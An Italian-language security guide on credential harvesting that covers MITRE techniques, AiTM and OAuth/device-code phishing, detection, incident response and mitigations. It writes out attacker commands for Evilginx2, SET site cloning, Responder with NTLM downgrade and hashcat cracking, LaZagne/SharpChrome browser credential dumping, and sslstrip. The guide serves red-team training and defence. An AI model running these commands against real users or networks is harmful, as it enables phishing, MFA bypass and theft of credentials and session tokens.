Credential Harvesting: dalla Rete al Cloud, Tool, Detection e Incident Response #

Il credential harvesting differisce dal credential dumping per il momento dell’attacco: invece di estrarre credenziali già memorizzate su un sistema, le cattura mentre vengono create o trasmesse — in un’autenticazione di rete, in un form web, in un consenso OAuth, in una sessione cloud.

Answer capsule: il credential harvesting è la raccolta di credenziali (password, hash, cookie, token) nel momento del loro utilizzo, tramite phishing, intercettazione di rete o abuso di flussi di autenticazione legittimi come OAuth.

Il Verizon DBIR 2025 ha identificato le credenziali rubate nel 44.7% dei breach confermati. Il CrowdStrike 2026 Global Threat Report riporta un breakout time medio di 29 minuti tra harvest iniziale e movimento laterale.

Il credential harvesting non richiede accesso privilegiato — spesso basta essere in rete o inviare un link. È questo che lo rende il vettore di accesso iniziale più diffuso.

Classificato da MITRE ATT&CK come T1056 (Input Capture), T1539 (Steal Web Session Cookie), T1598 (Phishing for Information), T1528 (Steal Application Access Token), T1555 (Credentials from Password Stores).

Cosa raccoglie davvero un attaccante #

Answer capsule: oggi il credential harvesting non riguarda solo username e password: include hash di autenticazione, cookie di sessione, access/refresh token OAuth, API key, chiavi SSH e certificati.

Distinguere questi tipi è utile perché ognuno richiede una tecnica di cattura diversa e una mitigazione diversa: un cookie rubato bypassa l’MFA, una password rubata da sola no.

Credential Harvesting vs Dumping vs Stuffing vs Spraying #

Answer capsule: il harvesting cattura credenziali nel momento in cui vengono usate; il dumping le estrae da un sistema già compromesso; lo stuffing e lo spraying le testano automaticamente contro servizi online.

Per approfondire: credential dumping, credential stuffing.

MITRE ATT&CK: le sottotecniche di Input Capture (T1056) #

Answer capsule: T1056 si divide in quattro sottotecniche, ciascuna con un vettore di cattura diverso: keylogging, finestre GUI fasulle, portali web falsi, hooking delle API di autenticazione.

• T1056.001 – Keylogging. Cattura ogni tasto premuto, incluse le credenziali digitate. Su Windows via hook a livello kernel o API SetWindowsHookEx; su Linux via /dev/input.
• T1056.002 – GUI Input Capture. Prompt di autenticazione falsi (es. finta finestra UAC, finto prompt sudo) che imitano quelli di sistema.
• T1056.003 – Web Portal Capture. Compromissione di un portale reale (VPN, webmail, SSO) per iniettare codice che cattura le credenziali al login — diverso dalla fake login page, perché il portale è quello legittimo, modificato.
• T1056.004 – Credential API Hooking. Hooking delle API di sistema che gestiscono l’autenticazione, per intercettare le credenziali prima che vengano cifrate.

Fake Login Page e Web Portal Capture #

Per campagne phishing con pagina di login clonata, senza proxy AiTM:

# GoPhish — framework completo per campagne phishing
./gophish  # server admin porta 3333, campagna porta 80

# SET (Social Engineering Toolkit)
setoolkit
# 1) Social-Engineering Attacks
# 2) Website Attack Vectors
# 3) Credential Harvester Attack Method
# 2) Site Cloner
# Inserisci URL da clonare (es: login.microsoftonline.com)
# Credenziali catturate in /var/www/harvester*.txt

Per le guide: GoPhish e SET.

AiTM Phishing — Session Token Theft e MFA Bypass #

Answer capsule: un proxy adversary-in-the-middle si posiziona tra utente e sito legittimo, catturando credenziali in chiaro e session cookie post-MFA — bypassando TOTP e push notification, ma non FIDO2/passkeys.

Utente → [Proxy AiTM attaccante] → Microsoft/Google/etc. (legittimo)
              ↓
        Cattura: username, password, session token MFA

Evilginx2 #

./evilginx2 -p ./phishlets

config domain attacker-phish.com
config ip <ATTACKER_IP>

phishlets hostname o365 login.attacker-phish.com
phishlets enable o365

lures create o365
lures get-url 0

sessions
sessions 1  # dettagli, include session token

I token catturati vengono importati nel browser dell’attaccante via cookie injection — accesso immediato senza password né MFA. Guida completa: Evilginx2.

OAuth Consent Phishing #

Answer capsule: invece di rubare la password, l’attaccante induce la vittima ad autorizzare un’applicazione OAuth malevola che ottiene accesso permanente ai dati, senza mai vedere le credenziali.

Il flusso tipico:

1. La vittima riceve un link che punta a una vera pagina di consenso Microsoft/Google.
2. L’app malevola richiede permessi ampi (lettura mail, file, contatti).
3. La vittima clicca “Autorizza” pensando di usare un’app legittima.
4. L’attaccante ottiene un access token e refresh token validi, senza aver mai toccato la password.

La differenza chiave rispetto al furto password: qui l’utente autorizza consapevolmente (anche se ingannato), quindi MFA e password reset non revocano l’accesso — serve revocare il consenso OAuth esplicitamente.

Device-Code Phishing #

Answer capsule: l’attaccante avvia un flusso di autenticazione OAuth device-code legittimo e convince la vittima a inserire il codice sulla vera pagina Microsoft, autorizzando involontariamente la sessione dell’attaccante.

Il flusso device-code è pensato per dispositivi senza tastiera (smart TV, IoT): l’app mostra un codice, l’utente lo inserisce su microsoft.com/devicelogin da un altro dispositivo. L’attacco abusa esattamente questo meccanismo:

1. Attaccante avvia device-code flow → riceve codice XYZ123
2. Invia alla vittima (email/Teams/SMS): "Inserisci XYZ123 su microsoft.com/devicelogin per accedere al documento"
3. Vittima si autentica con le proprie credenziali reali sulla pagina Microsoft legittima
4. Il flow dell'attaccante riceve access token + refresh token validi

Non c’è pagina falsa, non c’è dominio sospetto — la vittima interagisce solo con Microsoft. Per questo è difficile da rilevare con training anti-phishing tradizionale basato sul riconoscimento di URL fasulli.

LLMNR, NBT-NS e Forced Authentication #

Answer capsule: quando una macchina Windows cerca un servizio che non esiste, trasmette in broadcast una richiesta di risoluzione nome — chi risponde per primo riceve un tentativo di autenticazione NTLM che può catturare o relayare.

Il concetto va scomposto in cinque fasi distinte, spesso confuse tra loro:

1. Induzione dell’autenticazione — forzare la vittima a tentare un’autenticazione verso un host controllato dall’attaccante.
2. Cattura del challenge-response — l’hash NTLMv2 viaggia sulla rete e viene registrato.
3. Cracking offline — l’hash catturato viene sottoposto a brute-force/dizionario.
4. Relay verso altro servizio — l’hash viene inoltrato in tempo reale verso un altro servizio prima che scada, senza crack.
5. Riutilizzo — la credenziale o la sessione ottenuta viene usata per accesso o movimento laterale.

Harvesting è solo la fase 1-2; relay e riutilizzo sono tecniche successive e distinte (NTLM Relay, Pass-the-Hash).

Responder #

# Ascolto standard
responder -I eth0

# Solo cattura, senza spoofing DNS (più stealth)
responder -I eth0 -P -r -v

# Forza downgrade a NTLMv1 (più facile da crackare offline)
responder -I eth0 --lm

# Modalità analyze — solo sniff
responder -I eth0 -A

# Hash catturati in:
cat /usr/share/responder/logs/SMB-NTLMv2-*.txt

# Crack offline
hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-*.txt /usr/share/wordlists/rockyou.txt
hashcat -m 5500 /usr/share/responder/logs/SMB-NTLMv1-*.txt /usr/share/wordlists/rockyou.txt

Guida completa: Responder.

Bettercap #

bettercap -iface eth0

net.probe on
net.sniff on
set llmnr.spoofer on
llmnr.spoofer on

Guida: Bettercap.

Browser e Password Store #

Answer capsule: oltre ai browser, le credenziali vengono conservate in Windows Credential Manager, macOS Keychain, password manager di terze parti, secret manager cloud e file di configurazione locali.

LaZagne #

# Windows — dump da tutte le sorgenti
.\lazagne.exe all
.\lazagne.exe browsers
.\lazagne.exe browsers -chrome
.\lazagne.exe browsers -firefox
.\lazagne.exe browsers -edge

# Linux
python3 lazagne.py browsers
python3 lazagne.py all

Guida: LaZagne.

SharpChrome #

.\SharpChrome.exe logins
.\SharpChrome.exe logins /pvk:<dpapi_key>
.\SharpChrome.exe cookies
.\SharpChrome.exe cookies /sitefilter:microsoft.com

Estrazione manuale da SQLite #

cp "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" C:\temp\LoginData
sqlite3 LoginData "SELECT origin_url, username_value, password_value FROM logins;"
# Password cifrate con DPAPI — servono le chiavi utente per decifrarle

Altre location da conoscere #

• Windows Credential Manager — vaultcmd /listcreds:"Windows Credentials"
• macOS Keychain — security dump-keychain (richiede permessi)
• Client FTP/VPN/mail — file di configurazione in chiaro o debolmente cifrati
• Secret manager cloud — Azure Key Vault, AWS Secrets Manager: target di alto valore se le credenziali IAM sono esposte
• Variabili d’ambiente e file .env — spesso dimenticati in repository o container

Infostealer — Harvest Automatizzato #

Answer capsule: gli infostealer sono malware che automatizzano il furto di credenziali browser, cookie, wallet crypto e configurazioni VPN/SSH, distribuiti tipicamente via phishing o dropper.

Le famiglie più diffuse nel 2025-2026 includono Lumma Stealer, RedLine, Vidar e RaccoonStealer. Ogni infostealer raccoglie tipicamente:

• Credenziali browser (Chrome, Edge, Firefox)
• Cookie di sessione
• Wallet crypto
• File di configurazione VPN/SSH
• Contenuto della clipboard

Difesa: monitorare connessioni in uscita verso C2 non noti, abilitare detection comportamentale EDR, segmentare la rete per limitare l’exfiltration.

Network Sniffing e MITM #

# Cattura traffico
tcpdump -i eth0 -w capture.pcap

# Filtra credenziali da HTTP in chiaro
tcpdump -A -i eth0 'tcp port 80' | grep -i "password\|passwd\|user\|login"

# Bettercap con SSL strip
net.sniff on
set net.sniff.verbose false
set http.proxy.sslstrip true
http.proxy on

# mitmproxy
mitmproxy -p 8080
mitmproxy --mode transparent
mitmproxy --script credential_capture.py

Guida: mitmproxy.

Detection per Sorgente #

Answer capsule: la detection efficace del credential harvesting va organizzata per sorgente — email, DNS/proxy, identity provider, endpoint, rete, cloud — perché ogni tecnica lascia tracce diverse.

Email

• Domini mittente che imitano brand noti (typosquatting)
• Redirect multipli sospetti nei link
• Allegati con macro o link embedded
• Invii da account interni già compromessi

DNS/Proxy

• Domini registrati di recente (< 30 giorni) che replicano brand noti
• Reverse proxy con certificato TLS anomalo
• User-agent inconsistenti tra richieste dello stesso host

Identity Provider

• Nuovi dispositivi o location non familiari post-login
• Grant OAuth verso app con permessi ampi mai viste prima
• Sequenza login legittimo → consenso OAuth immediato → attività anomala

Endpoint

• Accesso al file Login Data di Chrome da processi non-browser
• Lettura chiavi DPAPI da processi sospetti
• Esecuzione di lazagne.exe o SharpChrome.exe — firma comportamentale nota agli EDR
• Hooking di API di autenticazione (T1056.004)

Rete

• Risposte LLMNR/NBT-NS/WPAD da host non legittimi
• Autenticazioni SMB verso host inattesi
• Traffico verso proxy AiTM (fingerprint TLS/JA3 di Evilginx e simili)

Cloud

• Nuove app OAuth con permessi elevati
• Login immediatamente successivi a un consenso OAuth
• Refresh token usati da IP/ASN insoliti

Una nota importante: l’Event ID 4648 (logon con credenziali esplicite) viene spesso segnalato come indicatore critico, ma da solo è un segnale debole — Microsoft lo documenta come evento generato anche da runas, scheduled task e altre attività legittime. Diventa utile solo se correlato con processo, account, host e destinazione insoliti.

Incident Response dopo il Furto #

Answer capsule: il cambio password da solo spesso non basta — servono revoca di sessioni, refresh token e consensi OAuth, perché credenziali diverse dalla password restano valide anche dopo il reset.

Checklist operativa:

1. Disabilitare temporaneamente l’account compromesso
2. Cambiare password e ruotare tutti i secret collegati
3. Revocare sessioni attive e refresh token
4. Rimuovere metodi MFA sconosciuti registrati dall’attaccante
5. Revocare consensi OAuth e disinstallare applicazioni malevole
6. Controllare regole di inoltro/filtro sulla casella email
7. Verificare nuovi dispositivi e metodi di autenticazione registrati
8. Cercare utilizzi successivi della stessa credenziale su altri servizi
9. Conservare log ed evidenze per l’analisi forense

Microsoft raccomanda esplicitamente la revoca di sessioni e refresh token in caso di compromissione, oltre all’investigazione di app e consensi OAuth sospetti — il solo reset password non elimina cookie o grant già emessi.

Mitigazioni e MFA Phishing-Resistant #

Answer capsule: FIDO2/passkeys sono l’autenticazione più efficace contro il phishing tradizionale e l’AiTM classico, ma non eliminano da sole rischi come device-code phishing e OAuth consent phishing, che abusano flussi legittimi anziché rubare credenziali.

• Disabilitare LLMNR e NBT-NS — elimina il vettore principale di Responder
• SMB Signing obbligatorio — blocca il relay degli hash NTLM catturati
• FIDO2/passkeys — CISA la indica come la principale autenticazione ampiamente disponibile resistente al phishing; molto efficace contro fake login page e AiTM tradizionale
• Conditional Access — blocca sessioni da IP/device non autorizzati (mitigazione parziale contro AiTM)
• Restrizione dei flussi device-code — disabilitare o limitare il device-code flow dove non necessario
• Governance sulle app OAuth — whitelist di app autorizzate, review periodica dei consensi concessi
• Credential Guard nel browser — Chrome e Edge supportano protezione delle credenziali salvate tramite Windows Hello
• Monitorare accessi ai file SQLite dei browser da processi non-browser

OPSEC e Regole d’Ingaggio #

• Responder genera molto rumore su reti monitorate — ogni risposta LLMNR è un evento loggabile
• Evilginx2 richiede un dominio registrato e certificato TLS valido — l’infrastruttura è tracciabile
• Gli infostealer di terze parti contengono spesso backdoor verso l’autore originale — attenzione anche in lab controllati
• SharpChrome e LaZagne su sistemi con EDR vengono quasi sempre rilevati
• Il device-code phishing e l’OAuth consent phishing vanno sempre condotti solo su tenant/lab autorizzati per test — richiedono registrazione app e sono facilmente attribuibili

FAQ #

Evilginx bypassa sempre l’MFA? Bypassa MFA basato su TOTP (Google Authenticator, Authy) e push notification (Microsoft Authenticator). Non bypassa FIDO2/passkeys, perché l’autenticazione avviene direttamente tra device utente e server legittimo, senza passare per il proxy.

Responder funziona sempre? Funziona dove LLMNR e NBT-NS sono abilitati (default su Windows). In ambienti enterprise hardened questi protocolli vengono disabilitati via GPO — Responder diventa inutile.

Credential harvesting e credential stuffing sono la stessa cosa? No. Il harvesting raccoglie credenziali nuove. Lo stuffing testa automaticamente credenziali già raccolte, spesso da breach passati, contro servizi online.

L’OAuth consent phishing richiede il furto della password? No, è proprio il punto: la vittima autorizza consapevolmente (ma ingannata) un’app malevola, senza mai digitare la password su un sito falso.

Cambiare la password basta dopo un furto di credenziali? Spesso no. Cookie di sessione, refresh token e consensi OAuth restano validi finché non vengono revocati esplicitamente.

Conclusione #

Il credential harvesting moderno va oltre Responder e le fake login page: include l’abuso di flussi OAuth legittimi, il furto di token invece che di password, e la raccolta da secret manager cloud. La difesa si costruisce su più livelli — protocollo (FIDO2 al posto di TOTP), rete (disabilitare LLMNR), identità (governance OAuth e conditional access) e monitoring comportamentale su endpoint e cloud.

Risorse:

• MITRE ATT&CK – T1598
• MITRE ATT&CK – T1056
• MITRE ATT&CK – T1528
• MITRE ATT&CK – T1555
• HackTricks – Phishing
• Microsoft – Revoke user access
• CISA – Phishing-Resistant MFA